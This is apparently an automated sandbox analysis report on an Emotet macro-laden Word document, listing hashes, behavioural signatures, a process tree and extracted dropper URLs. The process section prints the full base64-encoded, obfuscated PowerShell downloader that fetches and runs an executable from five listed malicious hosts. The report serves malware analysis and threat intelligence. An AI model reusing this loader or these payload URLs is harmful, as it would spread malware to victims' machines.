Overview

overview

10

Static

static

emotet_doc

windows7_x64

10

Analysis

  • max time kernel
    61s
  • max time network
    28s
  • platform
    windows7_x64
  • resource
    win7v200217
  • submitted
    15-03-2020 17:11

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    c892bc440d5444b162ce0d9b5255ec2e006a288563c30f1993cb3b7beaef98de.doc

  • Size

    193KB

  • MD5

    7a3a755a424048933a9040f7a6b17e6a

  • SHA1

    d6900fbe4164dbc3b697f466d5544d5d47173024

  • SHA256

    c892bc440d5444b162ce0d9b5255ec2e006a288563c30f1993cb3b7beaef98de

  • SHA512

    a96af6350e4d69bfdb731090321d31e6e6defdf5a95a7944064c485fb2f416f16d0c6de07f9324109cfb6b126090ec2fb89b916b7d400707613c637c2288bb98

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://ronakco.com/bin/f_an/
exe.dropper

http://clearcreeksportsclub.com/wp-content/O_c/
exe.dropper

http://vivasivo.com/wp-content/G_q/
exe.dropper

http://rinconadarolandovera.com/media/V_ii/
exe.dropper

http://logomunch.com/wp-content/Wz_nh/

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Blacklisted process makes network request 5 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c892bc440d5444b162ce0d9b5255ec2e006a288563c30f1993cb3b7beaef98de.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1856
  • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHelL.exe
    PoWeRsHelL -e JABqAEEAUQBBAFoANABvAD0AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBVACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAbABHAFEAYwBrACcALAAnAEEAJwApACwAJwBBACcAKQApADsAJABUAHcAQQBBAFUARwBBACAAPQAgACcANwA1ADkAJwA7ACQAQQAxAEEAQgBVAEIAPQAoACIAewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAUQBvACcALAAnAEEAWABEACcALAAnAEwAXwAnACkAOwAkAG0AUQBVAEEAQQBHAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABUAHcAQQBBAFUARwBBACsAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAGUAJwAsACcALgBlAHgAJwApADsAJABHAEEAWABBAEEAQQBDAHcAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAJwBRACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAFoAYwAnACwAJwBGAF8AJwApACwAJwBBAEIAJwApADsAJABPAFUAQwBBAEEAWgBrAEMAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAE4AYABFAHQALgBgAHcARQBiAGMAbABpAGUAbgBUADsAJABVAFEAQQBjAFgAQQA9ACgAIgB7ADYAfQB7ADIANgB9AHsAMgA5AH0AewAyAH0AewAxADAAfQB7ADcAfQB7ADEAfQB7ADkAfQB7ADEAMgB9AHsAMQAxAH0AewAyADAAfQB7ADEANwB9AHsAMgA3AH0AewAzADEAfQB7ADIANAB9AHsAOAB9AHsAMQA2AH0AewAwAH0AewAyADEAfQB7ADMAfQB7ADIAOAB9AHsANAB9AHsAMQA0AH0AewAyADIAfQB7ADEAMwB9AHsAMQA4AH0AewA1AH0AewAyADUAfQB7ADEANQB9AHsAMgAzAH0AewAzADAAfQB7ADEAOQB9ACIAIAAtAGYAJwByAG8AJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAHQAcwBjAGwAJwAsACcAcgAnACkALAAnAG8AJwApACwAJwBoACcALAAnAGQAJwAsACcAdgBlAHIAJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACcALwAvACcALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAgACcAbABvAGcAbwBtACcALAAnAG4AYwAnACwAJwB1ACcAKQAsACcAcAA6ACcAKQAsACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACAAJwBoAHQAJwAsACcAdABwACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnADoAJwAsACcALwAvAHIAJwApACkALAAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAJwBrAHMAcAAnACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAJwBjAHIAJwAsACcAYQByACcALAAnAGUAZQAnACkALAAnAGUAJwApACwAJwA6AC8ALwAnACwAJwB1AGIAJwAsACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAC8AYwBsACcALAAnADoALwAnACwAJwB0AHQAcAAnACkALAAoACIAewA0AH0AewAwAH0AewAxAH0AewAzAH0AewAyAH0AIgAtAGYAIAAnAEAAaAB0ACcALAAnAHQAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnADoALwAvACcALAAnAHYAaQAnACkALAAnAHAAJwAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQAiACAALQBmACAAJwBlAG4AJwAsACcAbgAnACwAJwB0ACcALAAnAHQALwBPAF8AYwAvACcAKQApACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBvAG0ALwAnACwAJwB3ACcAKQAsACcALgBjACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAG8AJwAsACcAcAAtAGMAJwApACkALAAoACIAewAxAH0AewAyAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAGkAJwAsACcAZABpAGEAJwAsACcALwBWAF8AJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAQABoACcALAAnAGkALwAnACkAKQAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAbQAvACcALAAnAGMAbwAnACkALAAnAGEALgAnACkALAAnAC8AdwBwACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAGkAbgBjAG8AbgAnACwAJwByACcAKQAsACcAYQBkAGEAJwApACwAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwAvAEcAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAZQBuAHQAJwAsACcAbgB0ACcAKQAsACcAYwBvACcAKQAsACcAdAB0ACcALAAnAG4AaAAvACcALAAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AIgAtAGYAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcAYwAnACwAJwBvAG0ALwAnACkALAAnAG8ALgAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBpAHYAJwAsACcAdgBhAHMAJwApACwAJwB3AHAALQAnACkALAAnAGwAYQBuACcALAAnAG0AZQAnACwAKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIALQBmACAAJwBXAHoAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAbwBuAHQAJwAsACcALQBjACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAZQAnACwAJwBuAHQALwAnACkAKQAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACcAdABwACcALAAnAC8AQABoACcALAAnAHQAJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBtACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAC4AYwBvACcALAAnAGgAJwApACkALAAoACIAewAxAH0AewAzAH0AewA0AH0AewAyAH0AewAwAH0AIgAgAC0AZgAnAGYAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAYQBrACcALAAnAG8AbgAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAC8AJwAsACcAYgBpAG4AJwApACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBjAG8AJwAsACcALgBjACcAKQAsACcAbwBtAC8AJwApACwAJwBfACcALAAnAG8AJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAG4ALwBAACcALAAnAF8AYQAnACkALAAnAF8AJwAsACcAcQAnACkALgAiAHMAUABgAGwASQB0ACIAKAAnAEAAJwApADsAJABKAEEAUQBBAEEAMQBrAD0AKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIALQBmACAAJwBaACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAQQA0AEIAJwAsACcAQQAnACkALAAnAFgAJwApACwAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHYAawBEADEAQgBBACAAaQBuACAAJABVAFEAQQBjAFgAQQApAHsAdAByAHkAewAkAE8AVQBDAEEAQQBaAGsAQwAuACIAZABPAFcATgBgAGwATwBgAEEAZABmAGkAYABMAEUAIgAoACQAdgBrAEQAMQBCAEEALAAgACQAbQBRAFUAQQBBAEcAKQA7ACQAVQBYAF8AUQBBADQAPQAoACIAewAwAH0AewAxAH0AIgAtAGYAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAF8AJwAsACcARABBAEEAJwAsACcARwBBACcAKQAsACcAMQBaACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABtAFEAVQBBAEEARwApAC4AIgBMAEUATgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMwA0ADQAOAAwACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAG0AUQBVAEEAQQBHADsAJABSAFEAUQBVAFUAXwBBAD0AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIALQBmACAAJwBzAHcAJwAsACcAQQBBACcALAAnAFUAVQAnACkAOwBiAHIAZQBhAGsAOwAkAHoAVQAxAEEAQQBBAD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAEEAUQAnACwAJwBEAG8AJwAsACcAegBrAEIAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADQAQgBaAEQAMQBBAFoAPQAoACIAewAxAH0AewAwAH0AewAyAH0AIgAtAGYAIAAnAEEAQwAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAHUAQQBBACcALAAnAEMAJwApACwAJwB4AFEAJwApAA==
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    PID:1972

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1856-1-0x0000000008970000-0x0000000008974000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1856-3-0x0000000006FA0000-0x00000000071A0000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1856-4-0x0000000006FA0000-0x00000000071A0000-memory.dmp
    Filesize

    2.0MB

    Download